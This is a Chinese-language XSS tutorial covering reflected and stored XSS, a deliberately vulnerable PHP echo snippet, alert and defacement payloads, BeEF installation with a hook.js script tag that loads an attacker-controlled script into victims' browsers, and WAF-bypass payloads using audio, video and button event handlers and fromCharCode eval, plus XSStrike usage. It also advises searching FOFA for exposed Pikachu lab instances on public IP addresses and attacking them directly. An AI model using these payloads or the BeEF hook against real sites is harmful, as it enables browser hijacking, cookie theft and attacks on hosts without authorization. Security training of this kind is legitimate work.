概念
跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩
写混淆 故将跨站脚本攻击缩写为XSS
恶意攻击者往Web⻚⾯⾥插⼊恶意Script代码,当用户浏览页面十,嵌入的代码会被执行,从而达到恶意攻击的目的。
危害
1、盗取各类⽤户账号,如机器登录帐号、⽤户⽹银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能⼒
3、盗窃企业重要的具有商业价值的资料
4、⾮法转账
5、强制发送电⼦邮件
6、⽹站挂⻢
7、控制受害者机器向其它⽹站发起攻击(重定向语句)
8、窃取cookie的sessionid,冒充登录。
类型
xss攻击可分为三类:
反射型、存储型、dom型(反射型和dom型易混淆)
一、反射型XSS漏洞
(一)简易案例一
例:目标
<?php
$xss = $_GET['x'];
echo $xss;
?>
攻击 <script>alert(1)</script>
访问目标:http://localhost/1.php?x=1
注入恶意代码
http://localhost/1.php?x=<script>alert(1)</script>
1.http://localhost/1.php?x=<script>alert('已⼊侵你后端系统')</script>
2.http://localhost/1.php?x=<h1 style='font-size: 10vw;'>你被⼊侵啦,遭到破坏啦,哈哈</script></h1> 10vw字体大小是10,可以自由修改
(二)案例二(利用FOFA寻找在线靶场)
1、利用FOFA寻找在线靶场https://fofa.info/
搜索语句
"pikachu" && country="CN" && title="Get the pikachu"
找到靶场例如:
http://58.87.74.254:8080/index.php
2、攻击
方式一:
直接在靶场的输入框输入例句<script>alert('已⼊侵你后端系统')</script>,但是发现限制输入长度不让输入过多的字符,F12进入开发者模式,直接修改输入框的代码改变输入长度。然后再输入攻击代码。
方式二:
直接修改 URL
当我们输入恶意代码提交后可以看到目标URL变成:
可以直接改变URL为:
http://58.87.74.254:8080/vul/xss/xss_reflected_get.php?message=<script>alert('已⼊侵你后端系统')</script>&submit=submit
也可成功
总结
但是不管是这两种哪种方式,在刷新之后目标都会恢复。也就是说明反射型不够强力只在前端表面,只能作为前锋先遣部队使用。
二、存储型XSS漏洞
顾名思义就是攻击数据存储在服务器,保存在数据库中,攻击⼀直持续下去,危害比较大
把攻击语句,填写到编辑框内,insert到数据库中去
三、综合案例
(一)简单案例
配置一个自己的靶场,网上找到资源下载完后,导入到PHPstudy的根目录中。
第一件事就是看看有没有config文件,这里会存储密码,修改为自己PHPstudy的MySQL设置的密码以免出现密码问题
然后再看看有没有.lock的临时文件,清理掉临时文件
访问靶场的install.php进行安装
在具体需求⾥⾯输⼊木马
<script>alert(1)</script>
<script>alert('已⼊侵你后端系统')</script> 网站用""木马就用''
<script>alert("已⼊侵你后端系统")</script> 网站用''木马就用""
<h1 style='font-size: 10vw;'>你被⼊侵啦,遭到破坏啦,哈哈</script></h1> 网站用""木马就用''
<h1 style="font-size: 10vw;">你被⼊侵啦,遭到破坏啦,哈哈</script></h1> 网站用''木马就用""
(二)Beef劫持网站(beef必学)
Beef-XSS是⼀款功能强⼤的 「XSS漏洞利⽤⼯具」,kali⾃带,基于Ruby语⾔开发。
The Browser Exploitation Framework 的缩写
BeEF xss 除了是 XSS 漏洞利用工具,还是一个 XSS 平台搭建工具,可以本地搭建也可以服务器上搭建,唯一的缺点是:不支持 Windows
常用kali镜像源
#阿⾥源 deb https://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb-src https://mirrors.aliyun.com/kali kali-rolling main non-free contrib \#中科⼤源 deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib \#清华⼤学源 deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non -free deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contri b non-free \#浙⼤源 deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free \#东软⼤学源 deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free cont rib \#⽹易 Kali 源 deb http://mirrors.163.com/debian wheezy main non-free contrib deb-src http://mirrors.163.com/debian wheezy main non-free contrib
安装
需要kali的root权限
方式一:beef-xss
方式二:sudo apt-get install beef-xss
如果不行,就要更新先:sudo apt-get update
在有 Root 权限的情况下 安装的过程中,会有多次提示,都输入 Y 或者 选择 Yes 按钮
安转完成后直接beef-xss启动,首次会要求设置密码。默认账户密码是beef.123456如果密码忘了,可以到 /usr/share/beef-xss/config.yaml
[*] Web UI: http://127.0.0.1:3000/ui/panel【这是beef后台】
beef会生成的木马1条
[*] Hook: <script src="http://<IP>:3000/hook.js"></script>
【入侵别人网站的监听器,IP需要更换当前的,会留痕】【<IP>替换为kali的IP地址、3000/hook.js不可以改要原封不动】 ifconfig查询kali的IP
<script src="http://192.168.159.128:3000/hook.js"></script>【在输入框里就可以了】
四、XSS的绕过WAF
(一)WAF防御(需要掌握)
WAF(Web Application Firewall,Web 应用防火墙)是部署在 Web 应用前端、专门防护应用层(HTTP/HTTPS) 攻击的安全屏障,核心是深度解析并过滤 Web 流量,拦截 SQL 注入、XSS、CC 攻击等常见威胁,弥补传统防火墙对应用层防护的不足。
(二)手工绕过
1、标签语法替换
就是使⽤其他标签来替换,不同WAF过滤的⼿段并不⼀样,需要⾃⼰尝试
(1)audio标签
<audio src=x onerror=alert(47)>
<audio src=x onerror=prompt(1);>
<audio src=1 href=1 onerror=javascript:alert(1)></audio>
(2)video标签
<video src=x onerror=prompt(1);>
<video src=x onerror=alert(48)>
(3)button标签
<button onfocus=alert(1) autofocus>
<button/onclick=alert(1) >xss</button>
2、加密算法ASCII
// Ascii码绕过
<details open ontoggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41)) >
仅仅只是理解ASCII码的样⼦: 97,108,101,114,116,40,49,41 = alert(1)
(三)XSStrike工具绕过
可识别并绕过WAF的XSS扫描工具(Windows工具)
Github:https://github.com/s0md3v/XSStrike
下载完了在下载完的文件夹中cmd
没有python3的需要的准备⼯作
先在环境变量中,切换到 python3 的优先执⾏权
python.exe -V
python.exe -m pip install --upgrade pip -i https://mirrors.aliyun.com/pypi/simple/
pip install -r 安装包 -i https://mirrors.aliyun.com/pypi/simple/
XSStrike 的参数集
-h, --help //显示帮助信息
-u, --url //指定⽬标 URL
--data //POST ⽅式提交内容
-v, --verbose //详细输出
-f, --file //加载⾃定义 paload 字典
-t, --threads //定义线程数
-l, --level //爬⾏深度
-t, --encode //定义 payload 编码⽅式
--json //将 POST 数据视为 JSON
--path //测试 URL 路径组件
--seeds //从⽂件中测试、抓取 URL
--fuzzer //测试过滤器和 Web 应⽤程序防⽕墙。
--update //更新
--timeout //设置超时时间
--params //指定参数
--crawl //爬⾏
--proxy //使⽤代理
--blind //盲测试
--skip //跳过确认提示
--skip-dom //跳过 DOM 扫描
--headers //提供 HTTP 标头
-d, --delay //设置延迟
安装依赖
pip install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
攻击
你当前的路径\XSStrike-master>python xsstrike.py -u "http://localhost/1.php?x=1"
是正确的HTML页面就可以加载pyload
会生成随机码,之后就可复制随机码到URL进行攻击绕过WAF防御
可以通过修改随机码在不改变其原有功能绕过WAF的情况下达到自己的目的